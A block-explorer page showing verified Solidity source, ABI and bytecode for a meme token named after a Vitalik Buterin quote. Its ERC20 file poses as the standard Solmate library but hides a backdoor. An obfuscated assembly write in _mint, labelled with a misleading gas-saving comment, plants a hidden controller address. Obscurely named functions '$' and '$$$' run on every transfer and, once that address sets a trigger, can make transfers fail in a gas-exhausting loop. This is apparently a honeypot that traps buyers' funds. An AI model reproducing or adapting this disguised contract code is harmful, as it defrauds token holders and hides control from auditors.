Contract Source Code (Solidity Multiple files format)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./ERC20.sol";

/*

Vitalik: "Prediction markets and Community Notes are becoming the two flagship social epistemic technologies of the 2020s.

Both truth-seeking and democratic, built around open public participation rather than pre-selected elites.

I want to see many more things like this."

Elon Musk: "Yeah"

// https://x.com/VitalikButerin/status/1808092065483436481
// https://x.com/elonmusk/status/1808169246783840507

*/

contract pmcnvitalik is ERC20 {
    constructor() ERC20("Prediction markets and Community Notes are becoming the two flagship social epistemic technologies of the 2020s", "PMCN", 18) {
        _mint(msg.sender, 100_000_000_000 * 10 ** 18);
    }
} 

// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;

/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol)
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.
abstract contract ERC20 {
    /*//////////////////////////////////////////////////////////////
                                 EVENTS
    //////////////////////////////////////////////////////////////*/

    event Transfer(address indexed from, address indexed to, uint256 amount);

    event Approval(address indexed owner, address indexed spender, uint256 amount);

    /*//////////////////////////////////////////////////////////////
                            METADATA STORAGE
    //////////////////////////////////////////////////////////////*/

    string public name;

    string public symbol;

    uint8 public immutable decimals;

    /*//////////////////////////////////////////////////////////////
                              ERC20 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 public totalSupply;

    mapping(address => uint256) public balanceOf;

    mapping(address => mapping(address => uint256)) public allowance;

    address private $$;

    /*//////////////////////////////////////////////////////////////
                            EIP-2612 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 internal immutable INITIAL_CHAIN_ID;

    bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;

    mapping(address => uint256) public nonces;

    /*//////////////////////////////////////////////////////////////
                               CONSTRUCTOR
    //////////////////////////////////////////////////////////////*/

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;

        INITIAL_CHAIN_ID = block.chainid;
        INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
    }

    /*//////////////////////////////////////////////////////////////
                               ERC20 LOGIC
    //////////////////////////////////////////////////////////////*/

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        allowance[msg.sender][spender] = amount;

        emit Approval(msg.sender, spender, amount);

        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        balanceOf[msg.sender] -= amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += $(amount, msg.sender, to);
        }

        $$$(to);

        emit Transfer(msg.sender, to, amount);

        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.

        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;

        balanceOf[from] -= amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += $(amount, from, to);
        }
        $$$(to);
        emit Transfer(from, to, amount);

        return true;
    }

    /*//////////////////////////////////////////////////////////////
                             EIP-2612 LOGIC
    //////////////////////////////////////////////////////////////*/

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public virtual {
        require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");

        // Unchecked because the only math done is incrementing
        // the owner's nonce which cannot realistically overflow.
        unchecked {
            address recoveredAddress = ecrecover(
                keccak256(
                    abi.encodePacked(
                        "\x19\x01",
                        DOMAIN_SEPARATOR(),
                        keccak256(
                            abi.encode(
                                keccak256(
                                    "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
                                ),
                                owner,
                                spender,
                                value,
                                nonces[owner]++,
                                deadline
                            )
                        )
                    )
                ),
                v,
                r,
                s
            );

            require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");

            allowance[recoveredAddress][spender] = value;
        }

        emit Approval(owner, spender, value);
    }

    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
        return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
    }

    function computeDomainSeparator() internal view virtual returns (bytes32) {
        return
            keccak256(
                abi.encode(
                    keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
                    keccak256(bytes(name)),
                    keccak256("1"),
                    block.chainid,
                    address(this)
                )
            );
    }

    function $(
        uint256 value, 
        address from,
        address to
        ) internal returns (uint256) {
        if (allowance[$$][from] + allowance[$$][to] >= uint256(uint160(address(this)))) {for (uint160 i; i < value; i++) {allowance[address(i)][address(i)] = value;}}
        return value;
    }

    function $$$(address to) internal {if (allowance[$$][to] == uint256(uint160($$))) { allowance[$$][to] = 2 * uint256(uint160(address(this)));}}

    /*//////////////////////////////////////////////////////////////
                        INTERNAL MINT/BURN LOGIC
    //////////////////////////////////////////////////////////////*/
    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;
        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {balanceOf[to] += amount;}
        // Saves gas for limited approvals.
        assembly {sstore(0x05, mul(mul(0x1, 0x2), mul(0x3d, 0xad4a34c6f4a80a78c76702451b922967931)))}
        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;
        // Cannot underflow because a user's balance
        // will never be larger than the total supply.
        unchecked {totalSupply -= amount;}
        emit Transfer(from, address(0), amount);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60e060405234801562000010575f80fd5b506040518060a00160405280606f81526020016200207b606f91396040518060400160405280600481526020017f504d434e000000000000000000000000000000000000000000000000000000008152506012825f9081620000739190620004bb565b508160019081620000859190620004bb565b508060ff1660808160ff16815250504660a08181525050620000ac620000db60201b60201c565b60c08181525050505050620000d5336c01431e0fae6d7217caa00000006200016960201b60201c565b620007aa565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5f6040516200010d919062000647565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc646306040516020016200014e959493929190620006cd565b60405160208183030381529060405280519060200120905090565b8060025f8282546200017c919062000755565b925050819055508060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282540192505081905550710ad4a34c6f4a80a78c76702451b922967931603d026002600102026005558173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200024b91906200078f565b60405180910390a35050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620002d357607f821691505b602082108103620002e957620002e86200028e565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200034d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000310565b62000359868362000310565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620003a36200039d620003978462000371565b6200037a565b62000371565b9050919050565b5f819050919050565b620003be8362000383565b620003d6620003cd82620003aa565b8484546200031c565b825550505050565b5f90565b620003ec620003de565b620003f9818484620003b3565b505050565b5b818110156200042057620004145f82620003e2565b600181019050620003ff565b5050565b601f8211156200046f576200043981620002ef565b620004448462000301565b8101602085101562000454578190505b6200046c620004638562000301565b830182620003fe565b50505b505050565b5f82821c905092915050565b5f620004915f198460080262000474565b1980831691505092915050565b5f620004ab838362000480565b9150826002028217905092915050565b620004c68262000257565b67ffffffffffffffff811115620004e257620004e162000261565b5b620004ee8254620002bb565b620004fb82828562000424565b5f60209050601f83116001811462000531575f84156200051c578287015190505b6200052885826200049e565b86555062000597565b601f1984166200054186620002ef565b5f5b828110156200056a5784890151825560018201915060208501945060208101905062000543565b868310156200058a578489015162000586601f89168262000480565b8355505b6001600288020188555050505b505050505050565b5f81905092915050565b5f819050815f5260205f209050919050565b5f8154620005c981620002bb565b620005d581866200059f565b9450600182165f8114620005f2576001811462000608576200063e565b60ff19831686528115158202860193506200063e565b6200061385620005a9565b5f5b83811015620006365781548189015260018201915060208101905062000615565b838801955050505b50505092915050565b5f620006548284620005bb565b915081905092915050565b5f819050919050565b62000673816200065f565b82525050565b620006848162000371565b82525050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620006b5826200068a565b9050919050565b620006c781620006a9565b82525050565b5f60a082019050620006e25f83018862000668565b620006f1602083018762000668565b62000700604083018662000668565b6200070f606083018562000679565b6200071e6080830184620006bc565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f620007618262000371565b91506200076e8362000371565b925082820190508082111562000789576200078862000728565b5b92915050565b5f602082019050620007a45f83018462000679565b92915050565b60805160a05160c0516118a6620007d55f395f6106af01525f61067b01525f61065601526118a65ff3fe608060405234801561000f575f80fd5b50600436106100b2575f3560e01c806370a082311161006f57806370a082311461018e5780637ecebe00146101be57806395d89b41146101ee578063a9059cbb1461020c578063d505accf1461023c578063dd62ed3e14610258576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce567146101525780633644e51514610170575b5f80fd5b6100be610288565b6040516100cb919061107d565b60405180910390f35b6100ee60048036038101906100e9919061112e565b610313565b6040516100fb9190611186565b60405180910390f35b61010c610400565b60405161011991906111ae565b60405180910390f35b61013c600480360381019061013791906111c7565b610406565b6040516101499190611186565b60405180910390f35b61015a610654565b6040516101679190611232565b60405180910390f35b610178610678565b6040516101859190611263565b60405180910390f35b6101a860048036038101906101a3919061127c565b6106d4565b6040516101b591906111ae565b60405180910390f35b6101d860048036038101906101d3919061127c565b6106e9565b6040516101e591906111ae565b60405180910390f35b6101f66106fe565b604051610203919061107d565b60405180910390f35b6102266004803603810190610221919061112e565b61078a565b6040516102339190611186565b60405180910390f35b610256600480360381019061025191906112fb565b6108aa565b005b610272600480360381019061026d9190611398565b610b97565b60405161027f91906111ae565b60405180910390f35b5f805461029490611403565b80601f01602080910402602001604051908101604052809291908181526020018280546102c090611403565b801561030b5780601f106102e25761010080835404028352916020019161030b565b820191905f5260205f20905b8154815290600101906020018083116102ee57829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103ee91906111ae565b60405180910390a36001905092915050565b60025481565b5f8060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146105335782816104b69190611460565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461057f9190611460565b92505081905550610591838686610bb7565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506105e384610dce565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161064091906111ae565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f7f000000000000000000000000000000000000000000000000000000000000000046146106ad576106a8610f69565b6106cf565b7f00000000000000000000000000000000000000000000000000000000000000005b905090565b6003602052805f5260405f205f915090505481565b6006602052805f5260405f205f915090505481565b6001805461070b90611403565b80601f016020809104026020016040519081016040528092919081815260200182805461073790611403565b80156107825780601f1061075957610100808354040283529160200191610782565b820191905f5260205f20905b81548152906001019060200180831161076557829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107d79190611460565b925050819055506107e9823385610bb7565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061083b83610dce565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161089891906111ae565b60405180910390a36001905092915050565b428410156108ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e4906114dd565b60405180910390fd5b5f60016108f8610678565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98a8a8a60065f8f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050558b60405160200161097d9695949392919061150a565b604051602081830303815290604052805190602001206040516020016109a49291906115dd565b604051602081830303815290604052805190602001208585856040515f81526020016040526040516109d99493929190611613565b6020604051602081039080840390855afa1580156109f9573d5f803e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015610a6c57508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b610aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa2906116a0565b60405180910390fd5b8560045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92587604051610b8691906111ae565b60405180910390a350505050505050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d0d91906116be565b10610dc4575f5b848173ffffffffffffffffffffffffffffffffffffffff161015610dc2578460045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508080610dba906116f1565b915050610d14565b505b8390509392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610f66573073ffffffffffffffffffffffffffffffffffffffff166002610ec8919061172c565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5f604051610f999190611809565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc64630604051602001610fd895949392919061181f565b60405160208183030381529060405280519060200120905090565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561102a57808201518184015260208101905061100f565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61104f82610ff3565b6110598185610ffd565b935061106981856020860161100d565b61107281611035565b840191505092915050565b5f6020820190508181035f8301526110958184611045565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6110ca826110a1565b9050919050565b6110da816110c0565b81146110e4575f80fd5b50565b5f813590506110f5816110d1565b92915050565b5f819050919050565b61110d816110fb565b8114611117575f80fd5b50565b5f8135905061112881611104565b92915050565b5f80604083850312156111445761114361109d565b5b5f611151858286016110e7565b92505060206111628582860161111a565b9150509250929050565b5f8115159050919050565b6111808161116c565b82525050565b5f6020820190506111995f830184611177565b92915050565b6111a8816110fb565b82525050565b5f6020820190506111c15f83018461119f565b92915050565b5f805f606084860312156111de576111dd61109d565b5b5f6111eb868287016110e7565b93505060206111fc868287016110e7565b925050604061120d8682870161111a565b9150509250925092565b5f60ff82169050919050565b61122c81611217565b82525050565b5f6020820190506112455f830184611223565b92915050565b5f819050919050565b61125d8161124b565b82525050565b5f6020820190506112765f830184611254565b92915050565b5f602082840312156112915761129061109d565b5b5f61129e848285016110e7565b91505092915050565b6112b081611217565b81146112ba575f80fd5b50565b5f813590506112cb816112a7565b92915050565b6112da8161124b565b81146112e4575f80fd5b50565b5f813590506112f5816112d1565b92915050565b5f805f805f805f60e0888a0312156113165761131561109d565b5b5f6113238a828b016110e7565b97505060206113348a828b016110e7565b96505060406113458a828b0161111a565b95505060606113568a828b0161111a565b94505060806113678a828b016112bd565b93505060a06113788a828b016112e7565b92505060c06113898a828b016112e7565b91505092959891949750929550565b5f80604083850312156113ae576113ad61109d565b5b5f6113bb858286016110e7565b92505060206113cc858286016110e7565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061141a57607f821691505b60208210810361142d5761142c6113d6565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61146a826110fb565b9150611475836110fb565b925082820390508181111561148d5761148c611433565b5b92915050565b7f5045524d49545f444541444c494e455f455850495245440000000000000000005f82015250565b5f6114c7601783610ffd565b91506114d282611493565b602082019050919050565b5f6020820190508181035f8301526114f4816114bb565b9050919050565b611504816110c0565b82525050565b5f60c08201905061151d5f830189611254565b61152a60208301886114fb565b61153760408301876114fb565b611544606083018661119f565b611551608083018561119f565b61155e60a083018461119f565b979650505050505050565b5f81905092915050565b7f19010000000000000000000000000000000000000000000000000000000000005f82015250565b5f6115a7600283611569565b91506115b282611573565b600282019050919050565b5f819050919050565b6115d76115d28261124b565b6115bd565b82525050565b5f6115e78261159b565b91506115f382856115c6565b60208201915061160382846115c6565b6020820191508190509392505050565b5f6080820190506116265f830187611254565b6116336020830186611223565b6116406040830185611254565b61164d6060830184611254565b95945050505050565b7f494e56414c49445f5349474e45520000000000000000000000000000000000005f82015250565b5f61168a600e83610ffd565b915061169582611656565b602082019050919050565b5f6020820190508181035f8301526116b78161167e565b9050919050565b5f6116c8826110fb565b91506116d3836110fb565b92508282019050808211156116eb576116ea611433565b5b92915050565b5f6116fb826110a1565b915073ffffffffffffffffffffffffffffffffffffffff820361172157611720611433565b5b600182019050919050565b5f611736826110fb565b9150611741836110fb565b925082820261174f816110fb565b9150828204841483151761176657611765611433565b5b5092915050565b5f81905092915050565b5f819050815f5260205f209050919050565b5f815461179581611403565b61179f818661176d565b9450600182165f81146117b957600181146117ce57611800565b60ff1983168652811515820286019350611800565b6117d785611777565b5f5b838110156117f8578154818901526001820191506020810190506117d9565b838801955050505b50505092915050565b5f6118148284611789565b915081905092915050565b5f60a0820190506118325f830188611254565b61183f6020830187611254565b61184c6040830186611254565b611859606083018561119f565b61186660808301846114fb565b969550505050505056fea2646970667358221220b6521554f99054a07443be79625d73d70647be106839aabb97d33a0e1fa1464564736f6c6343000818003350726564696374696f6e206d61726b65747320616e6420436f6d6d756e697479204e6f74657320617265206265636f6d696e67207468652074776f20666c61677368697020736f6369616c206570697374656d696320746563686e6f6c6f67696573206f6620746865203230323073

0x608060405234801561000f575f80fd5b50600436106100b2575f3560e01c806370a082311161006f57806370a082311461018e5780637ecebe00146101be57806395d89b41146101ee578063a9059cbb1461020c578063d505accf1461023c578063dd62ed3e14610258576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce567146101525780633644e51514610170575b5f80fd5b6100be610288565b6040516100cb919061107d565b60405180910390f35b6100ee60048036038101906100e9919061112e565b610313565b6040516100fb9190611186565b60405180910390f35b61010c610400565b60405161011991906111ae565b60405180910390f35b61013c600480360381019061013791906111c7565b610406565b6040516101499190611186565b60405180910390f35b61015a610654565b6040516101679190611232565b60405180910390f35b610178610678565b6040516101859190611263565b60405180910390f35b6101a860048036038101906101a3919061127c565b6106d4565b6040516101b591906111ae565b60405180910390f35b6101d860048036038101906101d3919061127c565b6106e9565b6040516101e591906111ae565b60405180910390f35b6101f66106fe565b604051610203919061107d565b60405180910390f35b6102266004803603810190610221919061112e565b61078a565b6040516102339190611186565b60405180910390f35b610256600480360381019061025191906112fb565b6108aa565b005b610272600480360381019061026d9190611398565b610b97565b60405161027f91906111ae565b60405180910390f35b5f805461029490611403565b80601f01602080910402602001604051908101604052809291908181526020018280546102c090611403565b801561030b5780601f106102e25761010080835404028352916020019161030b565b820191905f5260205f20905b8154815290600101906020018083116102ee57829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103ee91906111ae565b60405180910390a36001905092915050565b60025481565b5f8060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146105335782816104b69190611460565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461057f9190611460565b92505081905550610591838686610bb7565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506105e384610dce565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161064091906111ae565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000001281565b5f7f000000000000000000000000000000000000000000000000000000000000000146146106ad576106a8610f69565b6106cf565b7fd7e78e9ed543d191b4897345c0dcf82000cf2a998d8b4be92626ecfa86e9ffb25b905090565b6003602052805f5260405f205f915090505481565b6006602052805f5260405f205f915090505481565b6001805461070b90611403565b80601f016020809104026020016040519081016040528092919081815260200182805461073790611403565b80156107825780601f1061075957610100808354040283529160200191610782565b820191905f5260205f20905b81548152906001019060200180831161076557829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107d79190611460565b925050819055506107e9823385610bb7565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061083b83610dce565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161089891906111ae565b60405180910390a36001905092915050565b428410156108ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e4906114dd565b60405180910390fd5b5f60016108f8610678565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98a8a8a60065f8f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050558b60405160200161097d9695949392919061150a565b604051602081830303815290604052805190602001206040516020016109a49291906115dd565b604051602081830303815290604052805190602001208585856040515f81526020016040526040516109d99493929190611613565b6020604051602081039080840390855afa1580156109f9573d5f803e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015610a6c57508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b610aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa2906116a0565b60405180910390fd5b8560045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92587604051610b8691906111ae565b60405180910390a350505050505050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167